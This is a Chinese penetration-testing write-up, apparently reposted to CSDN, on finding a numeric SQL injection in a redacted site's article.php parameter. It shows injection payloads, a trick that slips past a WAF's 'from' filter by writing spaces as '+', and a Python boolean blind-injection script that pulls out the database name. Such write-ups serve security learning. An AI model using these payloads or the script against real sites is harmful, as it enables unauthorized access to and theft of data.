• SQL注入漏洞


    在页面参数增加 and -1=-1,页面回显正常
    这里如果 and 1=1 会被拦截

    图片


    然后尝试-1=-2
    页面报错,此处存在数字型sql注入漏洞

    图片


    接下来就是查字段数
    order by 1
    页面依旧报错

    图片

    如果大家在渗透的时候遇到这种情况
    要考虑是不是某些参数被拦截等

    换一种思路,用盲注的思路走走看
    不要到这里就直接放弃
    觉得怎么现在还能存在数字型的注入漏洞这样
    好歹能在edu赚点rank
    换个证书


    and length(database()) > 1,页面正常

    图片

    `and length(database())>10,页面报错

    图片

    这里是属于布尔盲注
    接下来就是用2分法
    找到长度
    最后测试结果是6
    然后测试一下能不能爆库名字符

    图片


    然后再试试表名
    如果表名字符也能出
    这里数据也就能爆出来了
    因为查表名的时候,表名就是从数据表中查询出来的结果

    图片


    这里经过多次尝试
    确认了过滤的内容是
    from%20 # %20就是空格
    然后试着用%09,%0a,%0b,%0c等绕过都不可行
    当我想要放弃的时候
    一位学长跟我说用加号试试
    我当时心里其实是非常不相信的,因为+在url编码里面
    就是空格的意思,那空格被过滤了,+不也就被禁掉了吗
    然后我出于礼貌的尝试了一下
    发现成了,,,
    所以还是谦虚一点好

    图片


    这里至少没有被waf拦截
    然后再继续尝试

    这里的话把where语句去掉之后就可行了

    图片

    然后写一个脚本去跑
    脚本这里的话网址都删掉了,可以看看编写思路
    这里用正则表达式,去看页面内容中是否存在发布时间这几个字符
    存在的话就说明页面为True
    不存在就是False
    然后用了二分法
    二分法的话可以参考我的这篇文章
    https://bbs.zkaq.cn/t/5506.html

    1. # coding=gbk
    2. import requests
    3. import re
    4. def isTrue(url):
    5. res = requests.get(url)
    6. if re.search("发布时间", res.text):
    7. return True
    8. def get_length():
    9. for i in range(25):
    10. url = f"http://网址/site/article.php?cate=5&cid=1&aid=972%20and%20length(database())={i}"
    11. if isTrue(url):
    12. print(f"length: {i}")
    13. return i
    14. def to_num1(url, num=1):
    15. # url >
    16. if isTrue(url % num):
    17. return to_num1(url, num * 2)
    18. return [(num // 2) - 1, num]
    19. def tow_num2(url, num_):
    20. c = (num_[1] + num_[0]) / 2
    21. if isTrue(url % c): # 如果 大于 c成立 把最小值设置为中值
    22. # print(url % c)
    23. num_[0] = c
    24. else:
    25. num_[1] = c # 否则设置最大值
    26. if num_[1] - num_[0] <= 1:
    27. num_[1] = round(num_[1])
    28. return num_[1]
    29. return tow_num2(url, [num_[0], num_[1]])
    30. def get_database():
    31. database_name = ''
    32. for i in range(1, get_length() + 1):
    33. url = f"http://网址/site/article.php?cate=5&cid=1&aid=972 and ascii(substr(database(),{i},1))>%d"
    34. num1 = to_num1(url)
    35. num2 = tow_num2(url,num1)
    36. database_name += chr(num2)
    37. print("database:" + database_name)
    38. if __name__ == '__main__':
    39. get_database()

    申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

    所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

    图片

    没看够~?欢迎关注!

    免费领取安全学习资料包!

    渗透工具

    技术文档、书籍

     

    面试题

    帮助你在面试中脱颖而出

    视频

    基础到进阶

    环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

     

    应急响应笔记

    学习路线

  • 相关阅读:
    5+非肿瘤生信思路经典思路,没有机器学习,WGCNA也能撑起大局,还有多个实验验证的强势助攻
    vue项目配置代理解决跨域问题
    时间戳转换为正常时间
    探索 C++20 的新领域:深入理解 static关键字和核心语言特性测试宏
    react原理篇:组件性能优化(减轻state、使用纯组件PureComponent避免不必要的重新渲染)
    【GO】go mod 和vendor依赖管理工具
    命令源码文件
    测试技能提升篇——k8s的网络核心概念
    企业搭建网站选择什么配置的云服务器比较合适?
    浪漫3D樱花漫天飞舞特效【附源码】
  • 原文地址:https://blog.csdn.net/2301_80115097/article/details/134530766